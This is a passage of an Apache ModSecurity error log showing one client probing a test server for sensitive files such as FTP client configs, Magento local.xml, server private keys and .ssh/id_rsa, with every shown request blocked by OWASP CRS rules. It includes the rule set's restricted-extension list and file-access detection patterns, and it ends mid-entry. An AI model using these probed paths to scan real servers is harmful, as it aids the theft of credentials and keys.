[Tue May 09 10:08:49.458009 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/WS_FTP.ini&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OwQAAAAY&quot;]
[Tue May 09 10:08:49.458241 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/WS_FTP.ini&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OwQAAAAY&quot;]
[Tue May 09 10:08:49.470603 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ws_ftp.ini&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OwgAAAAY&quot;]
[Tue May 09 10:08:49.470964 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ws_ftp.ini&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OwgAAAAY&quot;]
[Tue May 09 10:08:49.471256 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ws_ftp.ini&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OwgAAAAY&quot;]
[Tue May 09 10:08:49.483125 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.INI&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/WS_FTP.INI&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OwwAAAAY&quot;]
[Tue May 09 10:08:49.483490 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/WS_FTP.INI&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OwwAAAAY&quot;]
[Tue May 09 10:08:49.483700 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/WS_FTP.INI&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OwwAAAAY&quot;]
[Tue May 09 10:08:49.535446 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/winscp.ini&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OxwAAAAY&quot;]
[Tue May 09 10:08:49.535813 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/winscp.ini&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OxwAAAAY&quot;]
[Tue May 09 10:08:49.536024 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/winscp.ini&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OxwAAAAY&quot;]
[Tue May 09 10:08:49.548343 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/WinSCP.ini&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OyAAAAAY&quot;]
[Tue May 09 10:08:49.548702 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/WinSCP.ini&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OyAAAAAY&quot;]
[Tue May 09 10:08:49.548936 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/WinSCP.ini&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OyAAAAAY&quot;]
[Tue May 09 10:08:49.560806 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OyQAAAAY&quot;]
[Tue May 09 10:08:49.561061 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OyQAAAAY&quot;]
[Tue May 09 10:08:49.561289 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OyQAAAAY&quot;]
[Tue May 09 10:08:49.614853 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Matched phrase &quot;/app/etc/local.xml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /app/etc/local.xml found within REQUEST_FILENAME: /app/etc/local.xml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OzQAAAAY&quot;]
[Tue May 09 10:08:49.615105 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OzQAAAAY&quot;]
[Tue May 09 10:08:49.615334 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OzQAAAAY&quot;]
[Tue May 09 10:08:49.627303 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OzgAAAAY&quot;]
[Tue May 09 10:08:49.627638 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OzgAAAAY&quot;]
[Tue May 09 10:08:49.627858 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OzgAAAAY&quot;]
[Tue May 09 10:08:49.640230 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/privatekey.key&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OzwAAAAY&quot;]
[Tue May 09 10:08:49.640560 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/privatekey.key&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OzwAAAAY&quot;]
[Tue May 09 10:08:49.640788 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/privatekey.key&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9OzwAAAAY&quot;]
[Tue May 09 10:08:49.652404 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/myserver.key&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9O0AAAAAY&quot;]
[Tue May 09 10:08:49.652748 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/myserver.key&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9O0AAAAAY&quot;]
[Tue May 09 10:08:49.652964 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/myserver.key&quot;] [unique_id &quot;ZFn-kbclbae1yinrQt9O0AAAAAY&quot;]
[Tue May 09 10:08:49.706320 2023] [:error] [pid 2571526] [client 213.21.147.71:52121] [client 213.21.147.71] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname 